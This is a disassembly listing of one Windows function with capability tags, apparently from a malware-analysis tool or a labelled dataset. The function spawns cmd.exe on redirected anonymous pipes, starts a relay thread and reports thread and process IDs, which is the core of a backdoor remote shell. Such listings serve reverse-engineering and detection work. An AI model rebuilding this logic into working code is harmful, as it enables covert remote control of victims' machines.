Function at 0x4059c6
Capabilities:
Create pipe
Create process on windows
Create thread
Create two anonymous pipes
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb58
push edi
mov dword [ebp - 0xb58], ecx
push 1
lea eax, [ebp - 0xa3c]
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push 0
push 0
push 1
lea ecx, [ebp - 0xa3c]
push ecx
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
mov edx, dword [ebp + 8]
cmp dword [edx], 1
jne 0x405a08
xor ax, ax
jmp 0x405edd
push 0xc
push 0
mov eax, dword [ebp + 8]
add eax, 0x258
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x258], 0xc
mov edx, dword [ebp + 8]
lea eax, [ebp - 0xa3c]
mov dword [edx + 0x25c], eax
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x260], 1
push 0
mov edx, dword [ebp + 8]
add edx, 0x258
push edx
lea eax, [ebp - 0xa48]
push eax
mov ecx, dword [ebp + 8]
add ecx, 0x1c
push ecx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x405a86
push 0x40f2b8
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 0xb58]
call fcn.00405ee4
xor ax, ax
jmp 0x405edd
push 2
push 0
push 0
mov eax, dword [ebp + 8]
add eax, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
mov ecx, dword [ebp - 0xa48]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
jne 0x405ace
push 0x40f2c4
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 0xb58]
call fcn.00405ee4
xor ax, ax
jmp 0x405edd
mov eax, dword [ebp - 0xa48]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xc
push 0
mov ecx, dword [ebp + 8]
add ecx, 0x264
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edx, dword [ebp + 8]
mov dword [edx + 0x264], 0xc
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0xa3c]
mov dword [eax + 0x268], ecx
mov edx, dword [ebp + 8]
mov dword [edx + 0x26c], 1
push 0
mov eax, dword [ebp + 8]
add eax, 0x264
push eax
mov ecx, dword [ebp + 8]
add ecx, 0x14
push ecx
lea edx, [ebp - 0x408]
push edx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x405b7d
push str.CreatePipe:
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0xb58]
call fcn.00405ee4
mov ecx, dword [ebp + 8]
add ecx, 0x1c
push ecx
mov ecx, dword [ebp - 0xb58]
call fcn.00405fb6
mov edx, dword [ebp + 8]
add edx, 0x18
push edx
mov ecx, dword [ebp - 0xb58]
call fcn.00405fb6
xor ax, ax
jmp 0x405edd
push 2
push 0
push 0
mov eax, dword [ebp + 8]
add eax, 0x20
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
mov ecx, dword [ebp - 0x408]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
jne 0x405bc5
push str.CreateDupPipe:
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 0xb58]
call fcn.00405ee4
xor ax, ax
jmp 0x405edd
mov eax, dword [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 8]
mov dword [ecx + 0xc], 0
lea edx, [ebp - 0xb54]
push edx
push 0
mov eax, dword [ebp + 8]
push eax
push 0x406019
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x10], eax
mov edx, dword [ebp + 8]
cmp dword [edx + 0x10], 0
jne 0x405c6b
push str.CreateThreadB:
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0xb58]
call fcn.00405ee4
mov ecx, dword [ebp + 8]
add ecx, 0x1c
push ecx
mov ecx, dword [ebp - 0xb58]
call fcn.00405fb6
mov edx, dword [ebp + 8]
add edx, 0x18
push edx
mov ecx, dword [ebp - 0xb58]
call fcn.00405fb6
mov eax, dword [ebp + 8]
add eax, 0x20
push eax
mov ecx, dword [ebp - 0xb58]
call fcn.00405fb6
mov ecx, dword [ebp + 8]
add ecx, 0x14
push ecx
mov ecx, dword [ebp - 0xb58]
call fcn.00405fb6
xor ax, ax
jmp 0x405edd
lea edx, [ebp - 0xa28]
push edx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov dword [ebp - 0x9fc], 0x101
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x1c]
mov dword [ebp - 0x9f0], ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x14]
mov dword [ebp - 0x9e8], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x14]
mov dword [ebp - 0x9ec], edx
mov word [ebp - 0x9f8], 0
mov al, byte [0x40f83c]
mov byte [ebp - 0x404], al
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x403]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov cl, byte [0x40f840]
mov byte [ebp - 0xb50], cl
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0xb4f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
lea edx, [ebp - 0xb50]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov dword [ebp - 4], eax
lea eax, [ebp - 0xb50]
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
cmp dword [ebp - 4], eax
je 0x405d3e
push str.GetSystemDirectory:
mov ecx, dword [ebp + 8]
push ecx
mov ecx, dword [ebp - 0xb58]
call fcn.00405ee4
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 0xb58]
call fcn.0040581c
xor ax, ax
jmp 0x405edd
lea eax, [ebp - 0xb50]
push eax
push str._scmd.exe
lea ecx, [ebp - 0x404]
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
mov edx, dword [ebp + 8]
add edx, 0x270
push edx
lea eax, [ebp - 0xa28]
push eax
push 0
push 0
push 0
push 1
push 0
push 0
push 0
lea ecx, [ebp - 0x404]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x405db5
push str.CreateProcess:
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 0xb58]
call fcn.00405ee4
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0xb58]
call fcn.0040581c
xor ax, ax
jmp 0x405edd
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x278]
push edx
mov eax, dword [ebp - 0xb54]
push eax
push str._r_n_r_nThreadID___ld_r_nProcessID___ld_r_n_r_n
lea ecx, [ebp - 0x404]
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea edx, [ebp - 0x404]
push edx
call sub.MSVCRT.dll_strlen
add esp, 4
mov dword [ebp - 0xa44], eax
push 0
push 0x400
lea eax, [ebp - 0x9e4]
push eax
mov ecx, dword [ebp - 0xa44]
push ecx
lea edx, [ebp - 0x404]
push edx
mov ecx, dword [0x40fb54]
add ecx, 0x198
call fcn.004042b8
mov dword [ebp - 0xa4c], eax
mov eax, dword [ebp + 8]
add eax, 0x24
push eax
mov ecx, dword [ebp - 0xa4c]
push ecx
lea edx, [ebp - 0x9e4]
push edx
mov eax, dword [0x40fb54]
add eax, 0x29a0
push eax
mov ecx, dword [0x40fb54]
add ecx, 0x1c20
call fcn.004069b6
mov word [ebp - 0xa40], 0
mov ecx, dword [ebp + 8]
cmp dword [ecx + 0xc], 0
jne 0x405ed0
movsx edx, word [ebp - 0xa40]
mov ax, word [ebp - 0xa40]
add ax, 1
mov word [ebp - 0xa40], ax
cmp edx, 0x32
jle 0x405ec6
push str.TIMEOUT:
mov ecx, dword [ebp + 8]
push ecx
mov ecx, dword [ebp - 0xb58]
call fcn.00405ee4
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 0xb58]
call fcn.004057e0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0xb58]
call fcn.0040581c
xor ax, ax
jmp 0x405edd
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x405e68
mov ecx, dword [ebp + 8]
mov dword [ecx], 1
mov ax, 1
pop edi
mov esp, ebp
pop ebp
ret 4